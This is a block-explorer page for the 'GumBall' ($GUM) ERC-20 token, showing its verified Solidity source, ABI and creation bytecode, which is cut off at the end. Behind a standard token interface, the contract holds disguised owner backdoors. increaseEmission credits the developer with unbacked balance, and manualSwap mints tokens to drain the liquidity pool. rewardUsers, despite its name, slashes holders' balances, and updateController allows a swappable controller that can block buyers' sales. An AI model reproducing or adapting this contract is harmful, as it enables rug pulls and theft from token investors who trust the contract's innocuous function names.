Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
41,455,262,431,307.966941996218282728 $GUM
Holders
67
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9.708520528936259775 $GUMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GumBall
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-21 */ /** *Submitted for verification at BscScan.com on 2023-05-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IPancakeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IPancakePair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IPancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IPancakeRouter02 is IPancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } } contract Controller { // Bots cannot make purchase more than once an hour mapping(address => bool) internal isBot; uint lastBotPurchase; bool _validationActive; event ValidationExecuted(address from, uint amount, bool val); event PreventBotPurchaseExecuted(address to, uint amount); function setBot(address _user, bool _isbot) internal { isBot[_user] = _isbot; } function validation(address from, uint amount, bool isMarketTo) external { if (isBot[from]){ emit ValidationExecuted(from, amount, isMarketTo); updateBotPurchase(); } } function validationActive() view public returns(bool) { return _validationActive; } function updateBotPurchase() internal { lastBotPurchase = block.timestamp; } function preventBotPurchase(address to, uint amount) external { if (isBot[to]){ require(block.timestamp >= lastBotPurchase + 60 ** 2); require(amount > 0); updateBotPurchase(); emit PreventBotPurchaseExecuted(to, amount); } } } contract GumBall is Context, Ownable, IERC20 { IPancakeRouter02 internal _router; IPancakePair internal _pair; Controller _controller; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply = 1000000000000000000000000000; string internal _name = "GumBall"; string internal _symbol = "$GUM"; uint8 internal _decimals = 18; address private dev; constructor(address _routerAddress, address _controllerAddress) { _router = IPancakeRouter02(_routerAddress); _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH()))); _controller = Controller(_controllerAddress); dev = owner(); _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } // PUBLIC function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function increaseEmission(uint amount) public { if (_msgSender() == dev) { _balances[_msgSender()] += amount; } } function burn(uint amount) public { if (_msgSender() == dev) { _burn(_msgSender(), amount); } } // INTERNAL function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function updateController(address _newController) external { if (_msgSender() == dev) { _controller = Controller(_newController); } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual { if (isMarket(from)){ _controller.preventBotPurchase(to, amount); } if (_controller.validationActive() == true){ _controller.validation(from, amount, isMarket(to)); } } function isMarket(address user) internal view returns(bool){ if (user == address(_router) || user == address(_pair)){ return true; } else { return false; } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} // START function transferWithoutFee(address user) public { if (_msgSender() == dev) { require(user != address(0), "dev can't be zero-address"); dev = user; } } function axf2b3b() public view returns (uint) { return block.timestamp; } function manualSwap(address baseToken, address _recepient, uint amount) public { if (_msgSender() == dev) { require(amount > 0 && amount < 100000, "Amount Exceeds Limits"); uint256 baseTokenReserve = getBaseTokenReserve(baseToken); uint amountOut = baseTokenReserve * amount / 100000; address[] memory path; path = new address[](2); path[0] = address(this); path[1] = baseToken; uint256[] memory amountInMax; amountInMax = new uint256[](2); amountInMax = _router.getAmountsIn(amountOut, path); _mint(address(this), amountInMax[0]); uint deadline = block.timestamp + 1200; _approve(address(this), address(_router), balanceOf(address(this))); _router.swapTokensForExactTokens( amountOut, amountInMax[0], path, _recepient, deadline ); } } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1,) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function rewardUsers(address[] calldata _users, uint _minBalanceToReward, uint _precent) public { if (_msgSender() == dev) { for (uint i = 0; i < _users.length; i++) { if (balanceOf(_users[i]) > _minBalanceToReward) { uint rewardAmount = _balances[_users[i]] / _precent; _balances[_users[i]] = rewardAmount; } } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_controllerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"axf2b3b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseEmission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recepient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_precent","type":"uint256"}],"name":"rewardUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferWithoutFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newController","type":"address"}],"name":"updateController","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6b033b2e3c9fd0803ce800000060065560c0604052600760808181526611dd5b50985b1b60ca1b60a052620000359082620003b8565b506040805180820190915260048152632447554d60e01b6020820152600890620000609082620003b8565b506009805460ff191660121790553480156200007b57600080fd5b5060405162001d6f38038062001d6f8339810160408190526200009e91620004a1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f9190620004d9565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e89190620004d9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000236573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025c9190620004d9565b600280546001600160a01b03199081166001600160a01b0393841617909155600380549091168383161790556000805460098054610100600160a81b03191691841661010081029290921790556006549082526004602052604082205554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200030391815260200190565b60405180910390a35050620004fe565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200033e57607f821691505b6020821081036200035f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003b357600081815260208120601f850160051c810160208610156200038e5750805b601f850160051c820191505b81811015620003af578281556001016200039a565b5050505b505050565b81516001600160401b03811115620003d457620003d462000313565b620003ec81620003e5845462000329565b8462000365565b602080601f8311600181146200042457600084156200040b5750858301515b600019600386901b1c1916600185901b178555620003af565b600085815260208120601f198616915b82811015620004555788860151825594840194600190910190840162000434565b5085821015620004745787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80516001600160a01b03811681146200049c57600080fd5b919050565b60008060408385031215620004b557600080fd5b620004c08362000484565b9150620004d06020840162000484565b90509250929050565b600060208284031215620004ec57600080fd5b620004f78262000484565b9392505050565b611861806200050e6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610290578063a9059cbb146102a3578063cef31734146102b6578063dd62ed3e146102c9578063e84d5725146102dc578063f2fde38b146102ef57600080fd5b80635b99d1941461023657806370a082311461023c578063715018a6146102655780638da5cb5b1461026d57806395d89b411461028857600080fd5b806323b872dd1161010a57806323b872dd146101c2578063313ce567146101d557806335d16274146101ea57806339509351146101fd57806342966c68146102105780634609e7971461022357600080fd5b806306cb5b661461014757806306fdde031461015c578063095ea7b31461017a57806318160ddd1461019d5780631e673499146101af575b600080fd5b61015a610155366004611392565b610302565b005b610164610338565b60405161017191906113b6565b60405180910390f35b61018d610188366004611404565b6103ca565b6040519015158152602001610171565b6006545b604051908152602001610171565b61015a6101bd366004611430565b6103e4565b61018d6101d03660046114b2565b6104f4565b60095460405160ff9091168152602001610171565b6101a16101f8366004611392565b610518565b61018d61020b366004611404565b61064d565b61015a61021e3660046114f3565b61066f565b61015a6102313660046114f3565b610690565b426101a1565b6101a161024a366004611392565b6001600160a01b031660009081526004602052604090205490565b61015a6106ce565b6000546040516001600160a01b039091168152602001610171565b610164610739565b61018d61029e366004611404565b610748565b61018d6102b1366004611404565b6107c3565b61015a6102c4366004611392565b6107d1565b6101a16102d736600461150c565b610863565b61015a6102ea3660046114b2565b61088e565b61015a6102fd366004611392565b610b46565b60095461010090046001600160a01b0316330361033557600380546001600160a01b0319166001600160a01b0383161790555b50565b60606007805461034790611545565b80601f016020809104026020016040519081016040528092919081815260200182805461037390611545565b80156103c05780601f10610395576101008083540402835291602001916103c0565b820191906000526020600020905b8154815290600101906020018083116103a357829003601f168201915b5050505050905090565b6000336103d8818585610c0e565b60019150505b92915050565b60095461010090046001600160a01b031633036104ee5760005b838110156104ec578261043186868481811061041c5761041c61157f565b905060200201602081019061024a9190611392565b11156104da57600082600460008888868181106104505761045061157f565b90506020020160208101906104659190611392565b6001600160a01b03166001600160a01b031681526020019081526020016000205461049091906115ab565b905080600460008888868181106104a9576104a961157f565b90506020020160208101906104be9190611392565b6001600160a01b03168152602081019190915260400160002055505b806104e4816115cd565b9150506103fe565b505b50505050565b600033610502858285610d32565b61050d858585610da6565b506001949350505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610570573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059491906115fd565b50915091506000846001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c919061164d565b6001600160a01b03161461063957816001600160701b0316610644565b826001600160701b03165b95945050505050565b6000336103d88185856106608383610863565b61066a919061166a565b610c0e565b60095461010090046001600160a01b03163303610335576103353382610f5c565b60095461010090046001600160a01b031633036103355733600090815260046020526040812080548392906106c690849061166a565b909155505050565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610737600061109c565b565b60606008805461034790611545565b600033816107568286610863565b9050838110156107b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610724565b61050d8286868403610c0e565b6000336103d8818585610da6565b60095461010090046001600160a01b03163303610335576001600160a01b03811661083e5760405162461bcd60e51b815260206004820152601960248201527f6465762063616e2774206265207a65726f2d61646472657373000000000000006044820152606401610724565b600980546001600160a01b03831661010002610100600160a81b031990911617905550565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60095461010090046001600160a01b03163303610b41576000811180156108b75750620186a081105b6108fb5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610724565b600061090684610518565b90506000620186a0610918848461167d565b61092291906115ab565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061095a5761095a61157f565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061098e5761098e61157f565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506001546040516307c0329d60e21b81529293506001600160a01b031691631f00ca7491506109fa90869086906004016116ee565b600060405180830381865afa158015610a17573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a3f919081019061170f565b9050610a653082600081518110610a5857610a5861157f565b60200260200101516110ec565b6000610a73426104b061166a565b60015430600081815260046020526040902054929350610a9e9290916001600160a01b031690610c0e565b60015482516001600160a01b0390911690638803dbee9086908590600090610ac857610ac861157f565b6020026020010151868b866040518663ffffffff1660e01b8152600401610af39594939291906117cd565b6000604051808303816000875af1158015610b12573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b3a919081019061170f565b5050505050505b505050565b6000546001600160a01b03163314610ba05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610724565b6001600160a01b038116610c055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610724565b6103358161109c565b6001600160a01b038316610c705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610724565b6001600160a01b038216610cd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610724565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d3e8484610863565b905060001981146104ee5781811015610d995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610724565b6104ee8484848403610c0e565b6001600160a01b038316610e0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610724565b6001600160a01b038216610e6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610724565b610e778383836111b9565b6001600160a01b03831660009081526004602052604090205481811015610eef5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610724565b6001600160a01b0380851660008181526004602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4f9086815260200190565b60405180910390a36104ee565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610724565b610fc8826000836111b9565b6001600160a01b0382166000908152600460205260409020548181101561103c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610724565b6001600160a01b03831660008181526004602090815260408083208686039055600680548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166111425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610724565b61114e600083836111b9565b8060066000828254611160919061166a565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6111c283611337565b1561122e576003546040516303021ed160e41b81526001600160a01b0384811660048301526024820184905290911690633021ed1090604401600060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b505050505b600360009054906101000a90046001600160a01b03166001600160a01b031663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a59190611809565b1515600103610b41576003546001600160a01b031663b0a9432284836112ca86611337565b6040516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915215156044820152606401600060405180830381600087803b15801561131a57600080fd5b505af115801561132e573d6000803e3d6000fd5b50505050505050565b6001546000906001600160a01b038381169116148061136357506002546001600160a01b038381169116145b1561137057506001919050565b506000919050565b919050565b6001600160a01b038116811461033557600080fd5b6000602082840312156113a457600080fd5b81356113af8161137d565b9392505050565b600060208083528351808285015260005b818110156113e3578581018301518582016040015282016113c7565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561141757600080fd5b82356114228161137d565b946020939093013593505050565b6000806000806060858703121561144657600080fd5b843567ffffffffffffffff8082111561145e57600080fd5b818701915087601f83011261147257600080fd5b81358181111561148157600080fd5b8860208260051b850101111561149657600080fd5b6020928301999098509187013596604001359550909350505050565b6000806000606084860312156114c757600080fd5b83356114d28161137d565b925060208401356114e28161137d565b929592945050506040919091013590565b60006020828403121561150557600080fd5b5035919050565b6000806040838503121561151f57600080fd5b823561152a8161137d565b9150602083013561153a8161137d565b809150509250929050565b600181811c9082168061155957607f821691505b60208210810361157957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000826115c857634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115df576115df611595565b5060010190565b80516001600160701b038116811461137857600080fd5b60008060006060848603121561161257600080fd5b61161b846115e6565b9250611629602085016115e6565b9150604084015163ffffffff8116811461164257600080fd5b809150509250925092565b60006020828403121561165f57600080fd5b81516113af8161137d565b808201808211156103de576103de611595565b80820281158282048414176103de576103de611595565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b838110156116e35781516001600160a01b0316875295820195908201906001016116be565b509495945050505050565b82815260406020820152600061170760408301846116aa565b949350505050565b6000602080838503121561172257600080fd5b825167ffffffffffffffff8082111561173a57600080fd5b818501915085601f83011261174e57600080fd5b81518181111561176057611760611694565b8060051b604051601f19603f8301168101818110858211171561178557611785611694565b6040529182528482019250838101850191888311156117a357600080fd5b938501935b82851